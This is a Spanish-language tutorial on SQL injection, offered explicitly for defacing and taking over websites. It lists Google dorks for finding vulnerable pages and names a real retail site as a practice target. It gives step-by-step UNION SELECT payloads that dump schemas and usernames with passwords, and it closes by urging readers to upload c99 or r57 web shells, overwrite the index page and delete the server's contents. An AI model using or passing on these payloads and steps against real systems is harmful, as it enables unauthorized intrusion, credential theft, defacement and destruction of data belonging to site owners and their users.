Tutorial SQL Injection by Lun4t1c0

1. Tutorial Sql Injection By Lun4t1c0 2. 3. 4. 5. En Este Tutorial Aprenderás a Defacear, hackear una página web Php,Cgi

Views 438 Downloads 1 File size 200KB

Report DMCA / Copyright

DOWNLOAD FILE

Recommend stories

Citation preview

1. Tutorial Sql Injection By Lun4t1c0 2. 3. 4. 5. En Este Tutorial Aprenderás a Defacear, hackear una página web Php,Cgi,Asp,Jsp.

para

poder cambiar su contenido o bien eliminar todo y dejar tu propio index.. 6. 7. 8. 9. ¿Qué es la inyección de SQL? 10. 11. 12. 13. Es un truco para injectar consultas sql / comando como entrada posiblemente 14. 15. a través de páginas web. Muchas páginas web, podemos tomar los parametros 16. 17. de usuario de este, y hacer consultas sql a la base de datos. Tomemos por ejemplo, 18. 19. cuando una página contiene login o acceso a cuentas de usuario, podemos injectar 20. 21. codigos maliciosos sql para hackear al panel de administración. 22. 23. 24. 25. ¿Que debemos hacer para empezar? 26. 27. 28. 29. Primero tenemos que buscar una web que sea vulnerable podemos utilizar estos dorks 30. 31. para buscar en google.. 32. 33. 34. 35. ¿Qué es un Dork? 36. 37. 38. 39. Un dork es un metodo rápido para encontrar páginas con los datos que nosotros queramos 40.

41. 42. 43. Ejemplo www.tupagina.com/index.php?id=1 44. 45. 46. 47. Lo que hace el dork es buscar /index.php?id=1 de todas las páginas de la red.. 48. 49. 50. 51. Puedes buscar de esta manera : inurl:index.php?id=1 ( esto es en una url) 52. 53. o bien buscar de esta otra: allinurl:index.php?id=1 ( esto busca en todas las url) 54. 55. 56. 57. Dorks Comúnmente Buscadas (Esto es segun tu imaginación) 58. 59. 60. 61. inurl:index.php?id= 62. 63. inurl:trainers.php?id= 64. 65. inurl:buy.php?category= 66. 67. inurl:article.php?ID= 68. 69. inurllay_old.php?id= 70. 71. inurl:declaration_more.php?decl_id= 72. 73. inurlageid= 74. 75. inurl:games.php?id= 76. 77. inurlage.php?file= 78. 79. inurl:newsDetail.php?id= 80. 81. inurl:gallery.php?id=

82. 83. inurl:article.php?id= 84. 85. inurl:show.php?id= 86. 87. inurl:staff_id= 88. 89. 90. 91. 92. 93. Si necesitan una página para prácticar está injección aquí tienen una 94. 95. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------96. 97. www.bershka.com/coleccion-galeria.php?id=4 98. 99. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------100. 101.

PRIMER PASO:

102. 103. 104. 105.

Ahora bien encuentras una página vulnerable y quieres hackearla

106. 107.

ej de página: www.lol.com/index.php?id=1

108. 109. 110. 111.

Bien para comprobar que sea una sección vulnerable utilizamos este query a la Base

De Datos: 112. 113. 114. 115.

and 1=0 (corresponde a un valor falso)

116. 117. 118. 119.

and 1=1 (corresponde a un valor verdadero)

120. 121.

Ejemplo de and 1=0 :

Cuando inyectas este valor la página deberá verse con error

o bien 122. 123.

no se mostrara el contenido completo

ejemplo www.lol.com/index.php?id=1+and+1=0

124. 125. 126. 127.

Ejemplo de and 1=1 : Cuando inyectas este valor la página deberá verse completa

sin ningún error 128. 129. 130. 131.

----------------------------------------------------------------------------------

------------------------------------------------------------------------------------------------132. 133. 134. 135.

*Nota: Los "+" pueden ser sustituidos por espacios o por su valor hexadecimal:

"%20" 136. 137. 138. 139.

----------------------------------------------------------------------------------

------------------------------------------------------------------------------------------------140. 141.

SEGUNDO PASO:

142. 143. 144. 145.

Bien la página es totalmente vulnerable ahora toca sacar el número de las columnas

lo cuál sería de la siguiente manera: 146. 147.

iremos probando cuantas columnas posee la base de datos con el código

and+1=1+order+by+ 148. 149. 150. 151.

si se muestra la página entonces es que tiene una o más columnas...

152. 153. 154. 155.

www.lol.com/index.php?id=1+and+1=0+order+by+1

156. 157. 158. 159.

Si se muestra la web entonces tiene una o más columnas; para probar si tiene 2

columnas se quita el 1 y se pone un 2... 160. 161. 162. 163.

www.lol.com/index.php?id=1+and+1=0+order+by+2

164. 165. 166. 167. que

En ocasiones tiene 50 o

más columnas entonces para ahorrarnos tiempo lo

podemos

168. 169.

hacer es probar hasta la columna 15 o 20 y si no nos muestra nada es que nos hemos

pasado!!! Pero si aún nos muestra la página normalmente entonces es que tiene esas o más columnas, por ejemplo de la columna 2 nos cambiamos a la 20 por decir un número... 170. 171. 172. 173.

www.lol.com/index.php?id=1+and+1=0+order+by+20

( Este es un ejemplo en las

páginas que buscarás pueden tener mas columnas, supongamos que esta página tiene 20 columnas) 174. 175. 176. 177.

Bueno ahora sigue unir todas las 20 columnas... ¿¿¿como???

178. 179.

Bueno en este momento ya cambia la consulta por lo siguiente:

180. 181. 182. 183.

www.lol.com/index.php?id=1+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,

14,15,16,17,18,19,20 184. 185.

186. 187.

Bueno aquí nos mensionará las columnas vulnerables de la base de datos, en

cualquier parte de la página te mostrara números 188. 189.

que pueden salir asi

190. 191. 192. 193.

1

194. 195.

2,4,6

196. 197. 198. 199.

Para saber lo que queremos será sustituyendo el 2 por el código en

200. 201.

Sql como lo hemos Hecho hasta ahora por ejemplo si queremos saber la versión de la

Base de datos sería el query "version()" 202. 203.

o para saber el nombre de usuario user()

204. 205.

y para saber el nombre de la base de datos

usaremos

database()

206. 207. 208. 209.

----------------------------------------------------------------------------------

----------------------------------------------------------------------------------------------------------210. 211. 212. 213.

www.lol.com/index.php?id=1+and+1=0+union+all+select+1,version(),3,4,5,6,7,8,9,10,1

1,12,13,14,15,16,17,18,19,20 214. 215. 216. 217.

Ahora te saldrá un mensaje asi:

5.1.37

218. 219. 220.

para las versiones 5xx.. podemos usar la siquiente query:

information_schema

221.

en versiones 4xx no podemos usar information_schema ahí ya cambia toda la

inyeccion y es mucho más difícil 222. 223. 224. 225.

ahora bien supongamos que tenemos una version 5xx

226. 227. 228. 229.

Algunos comandos que nos servirán para MySql 5.x.x.x como es "group_concat()" (que

significa concatenar grupo) ya que nos ahorraremos la pena de estar poniendo un limit y ver una por una cada tabla entonces lo que 230. 231.

haremos será poner en la columna 2 el query y quedaría así:

232. 233. 234. 235.

www.lol.com/index.php?id=1+and+1=0+union+all+select+1,group_concat(1),3,4,5,6,7,8,

9,10,11,12,13,14,15,16,17,18,19,20 236. 237. 238. 239.

Como vemos abajo nos a puesto un "1" bueno el query se pude explotar mas!!! ;)

Bueno ahora toca decirle a la web que nos muestre por favor todas las tablas de la base de datos... :P ¿cómo? pues con la siguiente query: 240. 241. 242. 243.

www.lol.com/index.php?id=1+and+1=0+union+all+select+1,group_concat(table_name),3,4

,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+information_schema.tables-244. 245. 246. 247.

¿Que le pedimos? pues que concatene todo desde information_schema.tables *Nota:

Para esto es el 248. 249.

from para decirle a la base de datos que tabla va a agarrar los datos*

250. 251.

Es importante recordar que si la web nos muestra la tabla en minúsculas o

mayúsculas hay que respetarlas porque no 252.

253.

cargara bien si no lo hacemos* ahora vamos a consultar las columnas de la

siguiente forma: 254. 255. 256. 257.

www.lol.com/index.php?id=1+and+1=0+union+all+select+1,group_concat(column_name),3,

4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+information_schema.columns-258. 259. 260. 261.

ahora nos mostrará las tablas que posee la base de datos puede ser de esta manera.

(ej:) 262. 263.

contenido,fotos,videos,textos,usuarios,procesos

264. 265. 266. 267.

si Tiene la tabla USUARIOS,USERS,ADMIN ->

eso signica que podemos sacar el nombre

y contraseña para acceder al panel de administración 268. 269. 270. 271.

Lo que le pedimos a la web es que concatene las columnas desde las columnas valga

la redundancia donde 272. 273.

la tabla es "usuarios"

274. 275. 276. 277.

Y nos dará el nombre de las columnas las que nos interesan son:

nombre,email,password!!! genial ahora solo toca 278. 279.

pedirle a la web que nos de el contenido de ellas... ¿como? pues con la siguiente

query: 280. 281. 282. 283.

www.lol.com/index.php?id=1+and+1=0+union+all+select+1,group_concat(nombre,0x3a,pas

sword),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+usuarios 284. 285.

286. 287.

¿qué es 0x3a?

te daré un ejemplo:

288. 289. 290. 291.

El 0x3a concatena la columna "nombre" y la columna "password" separando los datos

por un ":" 292. 293.

pero convertido a hexadecimal lo que pasa es que ":" en hexa es: "3a"

294. 295. 296. 297.

ejemplo: carlos:123456

298. 299. 300. 301.

en ocaciones te podrás encontrar con contraseñas llamadas (HASH) que pueden estár

en formatos md5,sha1,md4, etc 302. 303. 304. 305.

ejemplo:

Carlos:5a4sd13115437456g1321casd

306. 307. 308. 309.

5a4sd13115437456g1321casd ( es el hash (contraseña))

para saber lo que posee

podemos Decencryptarla 310. 311.

con una página online ( esta es muy buena )

www.hashchecker.de/find.html

312. 313. 314. 315.

bien pasamos a el "from+usuarios" aquí ya sabemos lo que le pedimos... :P bien ahí

están nuestros tan anhelados datos!!! jejeje solo resta encontrar el panel de admin para acceder con los datos. 316. 317. 318. 319. 320. 321.

NOTA* hay veces en que cuando inyectamos esta query:

322. 323. 324. 325.

www.lol.com/index.php?id=1+and+1=0+union+all+select+1,group_concat(column_name),3,

4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+information_schema.columns 326. 327. 328. 329.

No nos muestra nada que podamos aprovechar ej : usuarios, admin

330. 331. 332. 333.

¿Qué Hacer en ese caso?

334. 335. 336. 337.

la página puede tener 1 o más bases de datos podemos verlas todas con el siquiente

query: 338. 339. 340. 341.

y para ver el nombre de todas las bases de datos que posee la página se usa

342. 343. 344. 345.

www.lol.com/index.php?id=1+and+1=0+union+all+select+1,group_concat(schema_name),3,

4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+ 346. 347.

information_schema.schemata

348. 349. 350. 351. 352. 353.

supongamos que tiene estás databases:

information_schema , acceso , datos

354. 355. 356. 357. 358. 359.

para acceder a una de ellas necesitamos el siguiente query:

360. 361.

www.lol.com/index.php?id=1+and+1=0+union+all+select+1,group_concat(column_name),3,

4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+ 362. 363.

information_schema.columns+where+table_schema=char()

364. 365. 366. 367.

supongamos que queremos abrir la base de datos (acceso)

368. 369. 370. 371.

podemos convertir el nombre "acceso" en formato ascii o en hex, bien usaremos

ascii 372. 373. 374. 375.

un buen convertidor de ascii es

(TEXT TO ASCII)

376. 377. 378. 379.

"acceso" en ascii es : 97,99,99,101,115,111

380. 381. 382. 383.

esta es la query que agregaremos:

384. 385. 386. 387.

www.lol.com/index.php?id=1+and+1=0+union+all+select+1,group_concat(column_name),3,

4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+ 388. 389.

information_schema.columns+where+table_schema=char(97,99,99,101,115,111)

390. 391. 392. 393. 394. 395. 396.

y nos mostrara el contenido de la base de datos (ACCESO)

397.

----------------------------------------------------------------------------------

---------------------------------------------------------------------------------------------------------------------------------------------------------------398. 399. 400. 401. 402. 403.

Bien ya tenemos nuestro querido nombre y contraseña :)

404. 405.

ahora nos queda encontrar el panel de administración: casi siempre está en algún

lado de la página 406. 407.

con nombres como : Instranet,acceso usuarios,admin,login, etc.

408. 409. 410. 411.

Ahora supongamos que encontramos el panel que es el siguiente como ejemplo

412. 413. 414. 415.

www.lol.com/admin.php

416. 417. 418. 419.

nos logeamos con los datos que sacamos resientemente de la base de datos y nos

logeamos 420. 421. 422. 423.

dentro de este sitio (panel de administración)

424. 425. 426. 427.

podremos encontrar muchas cosas tales como: borrar editar o reemplazar, o subir

datos a la web 428. 429. 430. 431.

si buscamos y buscamos podemos editar el index.php y podremos editarlo a nuestra

manera :)

432. 433. 434. 435.

eliminas todo lo demás y dejas tu propioo index.php,index.asp,index.html o como

quieras 436. 437. 438. 439.

así dejarás una huella en la página y será tuya :)

440. 441. 442. 443.

pero lo mejor que podemos hacer :

444. 445. 446. 447.

es subir una SHELL

como: r57,c99

448. 449. 450. 451.

te recomiendo descargar la c99

452. 453. 454. 455.

una vez que la tenemos la subimos a la página mediante el upload que tiene

456. 457. 458. 459.

ahora bien los archivos se subiran en el directorio

460. 461. 462. 463.

para abrir la c99 deberemos abrirla así

464. 465. 466. 467. 468. 469. 470. 471.

www.lol.com/upload/c99.php

/upload/

472. 473.

con la c99 podremos tener acceso a todo el computador y eliminarle absolutamente

todo :) 474. 475. 476. 477. 478. 479.

----------------------------------------------------------------------------------

-------------------------------------------------------------------------------------------------------------------------------------------------------------